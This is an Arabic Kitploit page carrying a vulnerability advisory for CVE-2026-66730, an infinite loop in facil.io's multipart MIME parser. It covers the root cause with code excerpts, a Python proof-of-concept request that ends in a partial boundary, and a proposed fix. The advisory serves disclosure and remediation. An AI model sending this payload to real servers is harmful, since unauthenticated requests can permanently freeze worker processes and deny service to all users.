Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser — استشارة أمنية: حلقة لا نهائية تسبب رفض الخدمة في محلل MIME الخاص بـ facil.io (حدود جزئية) | Kitploit
أدوات/GitHubGitHub/theopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser
تحليل الثغرات الأمنيةتحليل الكودأمن الويبالأوراق والأبحاثالتعلم والتعليم
GitHubtheopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser

CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser

استشارة أمنية: حلقة لا نهائية تسبب رفض الخدمة في محلل MIME الخاص بـ facil.io (حدود جزئية)

عرض المستودع
3منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استشارة أمنية: حلقة لا نهائية تسبب حجب الخدمة في محلل MIME لـ facil.io (حدود جزئية)

معرّف CVE المعيَّن: CVE-2026-66730

المنتج: facil.io
الإصدارات المتأثرة: facil.io >= 0.6.0 (جميع إصدارات 0.6.x، وجميع إصدارات 0.7.x، وmaster)؛ ظهرت الثغرة إلى جانب محلل MIME في الإصدار 0.6.0
المكوّن: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (حلقة بشرط خروج لا يمكن الوصول إليه)، CWE-400 (استهلاك غير مقيَّد للموارد)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
الباحث: Theodosis Paidakis


الملخص

يؤدي طلب multipart/form-data ينتهي جسمه بحدود إغلاق جزئية (مثل --B- بدلاً من --B--\r\n) إلى جعل http_parse_body() تدور في حلقة لا نهائية باستهلاك 100% من المعالج. يعيد محلل MIME قيمة 0 بايت مستهلكة عندما يتعثّر عند حدود جزئية، لكن الحلقة المستدعية تتحقق فقط من . لا يتم تعيين أيٍّ من العلامتين، لذلك يستدعي المحلل على البيانات نفسها إلى الأبد. لا ينهار الخادم، لذا لا يُعاد إنشاء أي عامل. طلب POST واحد غير مصادق عليه يجمّد عاملًا واحدًا بشكل دائم.

!done && !error

هذا غير مرتبط بـ CVE-2026-41146، وهي حلقة لا نهائية في محلل JSON (fio_json_parser.h). هذا الخطأ في محلل MIME/multipart.


السبب الجذري

الجزء 1: لا يوجد حارس تقدّم في المُستدعي

lib/facil/http/http.c, الأسطر 1963-1967

root@kitploit:~
// lib/facil/http/http.c:1963-1967
do {
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;                                         // += 0 when parser stalls
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);    // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error);       // neither flag set -> loops forever

إذا أعاد http_mime_parse القيمة 0 ولم يعيّن done ولا error، تبقى p.pos ثابتة، ويعيد fiobj_data_pread نفس المخزن المؤقت، ولا يوجد للحلقة أي مخرج.

الجزء 2: عندما يعيد http_mime_parse القيمة 0

lib/facil/http/parsers/http_mime_parser.h, الأسطر 314-329 وفرع consume_partial

يمسح المحلل قسم القيم بحثًا عن حدود مكتملة. عندما ينتهي الجسم بـ \n--B- (أقصر بأربعة بايتات من حدود إغلاق كاملة \n--B--\r\n)، يجد المسح \n متبوعًا بما يبدو أنه بداية حدود لكنه لا يستطيع تأكيد اكتمالها:

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
    end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
         (size_t)(stop - end) >= (4 + parser->boundary_len) &&
         (end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
    // partial boundary -- transition to consume_partial on first call
    parser->in_obj = 1;
    goto consume_partial;
}

في الاستدعاء التالي، تكون in_obj معيّنة بالفعل. يجد فرع consume_partial نفس \n قبل --B-، ثم يحرّك مؤشر الإرجاع إلى الخلف قبل أي بيانات غير مستهلكة:

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
    end -= 2;
    if (end[0] == '\r') --end;   // end now points before the \n
    pos = end;                    // return pointer set behind any new data
    goto end_of_data;             // returns 0 bytes consumed
}

ينتهي المطاف بـ pos عند نقطة البداية أو قبلها. تُرجع الدالة 0. وبالعودة إلى المُستدعي، تكون cons = 0، وp.pos لا تتحرك، وتتكرر الدورة.


إثبات المفهوم

شغّل الخادم، ثم نفّذ:

root@kitploit:~
# poc_mime_infinite_loop.py
import socket, time

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=field\r\n"
    "\r\n"
    "value\r\n"
    "--B-"      # partial closing boundary: missing final '-\r\n'
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    s.recv(4096)
    print("got response - not vulnerable")
except socket.timeout:
    print("hung for 10s - server spinning at 100% CPU")

الملاحظة: عملية الخادم تستهلك 99.7-100% من المعالج. يلزم استخدام kill -9 للاسترداد.


التأثير

العامل المتجمّد لا يخرج أبدًا، لذا لا يحدث أي استبدال. مع عدد كافٍ من الطلبات (بما يعادل عدد العمال)، يتوقف الخادم عن خدمة جميع العملاء بشكل دائم حتى يُعاد تشغيله يدويًا. لا يتطلب الأمر مصادقة ولا ترويسات خاصة ولا حالة سابقة.


الإصلاح

أضف حارس تقدّم إلى الحلقة في http_parse_body:

lib/facil/http/http.c, الأسطر 1963-1967

root@kitploit:~
// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
    if (p.pos == last_pos) { p.p.error = 1; break; }   // no progress: abort
    last_pos = p.pos;
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);
تنزيل الأداة